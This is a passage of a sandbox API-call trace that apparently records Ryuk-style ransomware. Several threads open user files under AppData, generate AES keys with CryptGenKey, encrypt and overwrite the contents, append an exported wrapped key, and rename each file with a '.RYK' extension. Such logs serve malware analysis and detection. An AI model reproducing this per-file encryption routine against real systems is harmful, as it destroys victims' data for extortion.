	[0261.923] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3594
	os_tid = 0x3d88

	[0261.926] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat", dwFileAttributes=0x80) returned 0
	[0261.926] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.926] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3595
	os_tid = 0x3d8c

	[0261.929] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1
	[0261.948] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0261.948] GetFileSizeEx (in: hFile=0x720, lpFileSize=0x8cdf918 | out: lpFileSize=0x8cdf918*=16384) returned 1
	[0261.948] GetFileSizeEx (in: hFile=0x720, lpFileSize=0x8cdf928 | out: lpFileSize=0x8cdf928*=16384) returned 1
	[0261.948] SetFilePointerEx (in: hFile=0x720, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.949] ReadFile (in: hFile=0x720, lpBuffer=0x8cdf970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cdf8e0, lpOverlapped=0x0 | out: lpBuffer=0x8cdf970*, lpNumberOfBytesRead=0x8cdf8e0*=0x19, lpOverlapped=0x0) returned 1
	[0261.961] SetFilePointer (in: hFile=0x720, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.961] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8cdf8f8 | out: phKey=0x8cdf8f8*=0x3f7d90) returned 1
	[0261.961] SetFilePointer (in: hFile=0x720, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.961] ReadFile (in: hFile=0x720, lpBuffer=0x3180000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x8cdf904, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x8cdf904*=0x4000, lpOverlapped=0x0) returned 1
	[0261.965] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8cdf900*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8cdf900*=0xf4250) returned 1
	[0261.965] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x8cdf908*=0x4000, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x8cdf908*=0x4010) returned 1
	[0261.965] SetFilePointer (in: hFile=0x720, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.965] WriteFile (in: hFile=0x720, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x8cdf904, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x8cdf904*=0x4010, lpOverlapped=0x0) returned 1
	[0261.966] WriteFile (in: hFile=0x720, lpBuffer=0x8cdf930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8cdf910, lpOverlapped=0x0 | out: lpBuffer=0x8cdf930*, lpNumberOfBytesWritten=0x8cdf910*=0x6, lpOverlapped=0x0) returned 1
	[0261.967] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8cdf920 | out: pbData=0x0*, pdwDataLen=0x8cdf920*=0x10c) returned 1
	[0261.967] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8cdf990, pdwDataLen=0x8cdf920 | out: pbData=0x8cdf990*, pdwDataLen=0x8cdf920*=0x10c) returned 1
	[0261.967] WriteFile (in: hFile=0x720, lpBuffer=0x8cdf990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8cdf910, lpOverlapped=0x0 | out: lpBuffer=0x8cdf990*, lpNumberOfBytesWritten=0x8cdf910*=0x10c, lpOverlapped=0x0) returned 1
	[0261.967] CloseHandle (hObject=0x720) returned 1
	[0261.973] CryptDestroyKey (hKey=0x3f7d90) returned 1
	[0261.973] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3596
	os_tid = 0x3d90

	[0261.946] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", dwFileAttributes=0x80) returned 0
	[0261.946] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.946] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.946] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3597
	os_tid = 0x3d94

	[0261.957] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb", dwFileAttributes=0x80) returned 1
	[0261.958] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750
	[0261.958] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x93ff918 | out: lpFileSize=0x93ff918*=69740) returned 1
	[0261.958] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x93ff928 | out: lpFileSize=0x93ff928*=69740) returned 1
	[0261.958] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x10f4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.958] ReadFile (in: hFile=0x750, lpBuffer=0x93ff970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93ff8e0, lpOverlapped=0x0 | out: lpBuffer=0x93ff970*, lpNumberOfBytesRead=0x93ff8e0*=0x19, lpOverlapped=0x0) returned 1
	[0261.964] SetFilePointer (in: hFile=0x750, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.964] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x93ff8f8 | out: phKey=0x93ff8f8*=0x3f7d20) returned 1
	[0261.964] SetFilePointer (in: hFile=0x750, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.964] ReadFile (in: hFile=0x750, lpBuffer=0x3380000, nNumberOfBytesToRead=0x1106c, lpNumberOfBytesRead=0x93ff904, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x93ff904*=0x1106c, lpOverlapped=0x0) returned 1
	[0261.981] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x93ff900*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x93ff900*=0xf4250) returned 1
	[0261.981] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x93ff908*=0x1106c, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x93ff908*=0x11070) returned 1
	[0261.981] SetFilePointer (in: hFile=0x750, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.981] WriteFile (in: hFile=0x750, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0x11070, lpNumberOfBytesWritten=0x93ff904, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x93ff904*=0x11070, lpOverlapped=0x0) returned 1
	[0261.982] WriteFile (in: hFile=0x750, lpBuffer=0x93ff930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x93ff910, lpOverlapped=0x0 | out: lpBuffer=0x93ff930*, lpNumberOfBytesWritten=0x93ff910*=0x6, lpOverlapped=0x0) returned 1
	[0261.982] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x93ff920 | out: pbData=0x0*, pdwDataLen=0x93ff920*=0x10c) returned 1
	[0261.982] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x93ff990, pdwDataLen=0x93ff920 | out: pbData=0x93ff990*, pdwDataLen=0x93ff920*=0x10c) returned 1
	[0261.982] WriteFile (in: hFile=0x750, lpBuffer=0x93ff990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x93ff910, lpOverlapped=0x0 | out: lpBuffer=0x93ff990*, lpNumberOfBytesWritten=0x93ff910*=0x10c, lpOverlapped=0x0) returned 1
	[0261.982] CloseHandle (hObject=0x750) returned 1
	[0261.988] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0261.988] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3598
	os_tid = 0x3da0

	[0262.179] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD", dwFileAttributes=0x80) returned 0
	[0262.179] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.179] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.179] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3599
	os_tid = 0x3da4

	[0262.182] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", dwFileAttributes=0x80) returned 0
	[0262.182] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.182] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3600
	os_tid = 0x3da8

	[0262.185] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF", dwFileAttributes=0x80) returned 0
	[0262.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.185] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3601
	os_tid = 0x3dac

	[0262.193] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig", dwFileAttributes=0x80) returned 0
	[0262.193] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.193] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3602
	os_tid = 0x3db0

	[0262.196] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", dwFileAttributes=0x80) returned 0
	[0262.196] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.196] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3603
	os_tid = 0x3db4

	[0262.457] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf", dwFileAttributes=0x80) returned 1
